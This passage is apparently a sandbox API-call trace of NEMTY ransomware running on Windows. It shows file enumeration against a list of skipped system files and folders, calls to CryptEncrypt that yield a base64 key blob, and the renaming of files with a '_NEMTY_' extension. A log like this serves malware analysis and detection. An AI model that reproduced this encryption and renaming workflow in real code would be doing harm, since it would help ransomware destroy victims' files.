out: hHeap=0x4f90000) returned 1 [0140.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0140.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_rest.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0140.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0140.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_rest.png", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_rest.png", lpUsedDefaultChar=0x0) returned 22 [0140.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0140.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0140.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0140.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0140.897] Sleep (dwMilliseconds=0x5) [0140.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x7a32910, dwHighDateTime=0x1d561e8)) [0140.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x7a32910, dwHighDateTime=0x1d561e8)) [0140.913] GetLastError () returned 0x5 [0140.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0140.913] GetLastError () returned 0x5 [0140.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0140.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0140.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0140.913] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0140.913] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0140.913] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0140.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0140.913] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="PAbNwemIvp1Pl63LfsDqa4Gfm8AY+QsZw69p+4eWYi6AvCXwplfdFs2rPSHLUdJO\r\nzqpPe2DwHMQ+lj6aTUs5QdZ8B8iZQUua+kY/MayoP4IxZRGhOLFsnA6tKieU8pbL\r\nPh0yO/h4JMyJKex7ba29049Qb5E6Ongd+yGsds1+iI9hhTg/85QHBv1epCJdF/yk\r\nLhuT+PU61/2BMCl29tVm+Evt44MjsOUFPuTrjDqmruKRdvklUgDCazBYB2Wt3P6O\r\nAISZ5+pbCfa2ZXQiEIt19oQOvB86lY59Xh8fhMzCrks9h/X+lHCekNQDVF/gOHf+\r\nPhsAS/ECcXb4PrjWix4UMw==\r\n", pcchString=0x653e91c) returned 1 [0140.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0140.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0140.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0140.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0140.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0140.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0140.913] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_rest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0140.913] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0140.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0140.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.914] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.923] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.923] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.932] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.932] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.932] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.932] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.941] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.941] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.951] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.951] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.960] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.960] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.969] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.969] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.979] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.979] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.988] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.988] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.997] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.997] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.007] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.007] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.013] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.013] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.019] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.019] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.019] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.019] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0141.019] CloseHandle (hObject=0xffffffff) returned 0 [0141.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0141.019] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0141.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0141.019] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0141.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0141.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0141.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340410 [0141.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0141.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0141.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0141.019] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_rest.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_rest.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_rest.png._nemty_kgobjgd_")) returned 0 [0141.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0141.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0141.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0141.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0141.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0141.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0141.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0141.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0141.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0141.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.020] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d219fc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84d219fc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ba393f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings_right_disabled.png", cAlternateFileName="")) returned 1 [0141.020] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2=".") returned 1 [0141.020] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="..") returned 1 [0141.020] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="...") returned 1 [0141.020] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="windows") returned -1 [0141.020] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="$RECYCLE.BIN") returned 1 [0141.020] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="rsa") returned 1 [0141.020] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="NTDETECT.COM") returned 1 [0141.020] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="ntldr") returned 1 [0141.020] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="MSDOS.SYS") returned 1 [0141.020] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="IO.SYS") returned 1 [0141.020] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="boot.ini") returned 1 [0141.020] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="boot.ini") returned 1 [0141.020] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="AUTOEXEC.BAT") returned 1 [0141.020] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="ntuser.dat") returned 1 [0141.020] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="desktop.ini") returned 1 [0141.020] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="CONFIG.SYS") returned 1 [0141.020] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="RECYCLER") returned 1 [0141.020] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="BOOTSECT.BAK") returned 1 [0141.020] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="bootmgr") returned 1 [0141.020] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="programdata") returned 1 [0141.020] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2="appdata") returned 1 [0141.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0141.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_disabled.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0141.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_disabled.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_disabled.png", lpUsedDefaultChar=0x0) returned 27 [0141.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0141.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_disabled.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0141.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_disabled.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_disabled.png", lpUsedDefaultChar=0x0) returned 27 [0141.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0141.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0141.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0141.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_disabled.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0141.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_disabled.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_disabled.png", lpUsedDefaultChar=0x0) returned 27 [0141.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0141.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0141.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_disabled.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0141.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0141.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_disabled.png", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_disabled.png", lpUsedDefaultChar=0x0) returned 27 [0141.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0141.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401d8 [0141.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0141.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0141.021] Sleep (dwMilliseconds=0x5) [0141.022] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x7b3d2b0, dwHighDateTime=0x1d561e8)) [0141.022] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x7b3d2b0, dwHighDateTime=0x1d561e8)) [0141.022] GetLastError () returned 0x5 [0141.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0141.022] GetLastError () returned 0x5 [0141.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0141.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0141.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0141.022] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0141.022] CryptEncrypt (in: hKey=0x3423770, 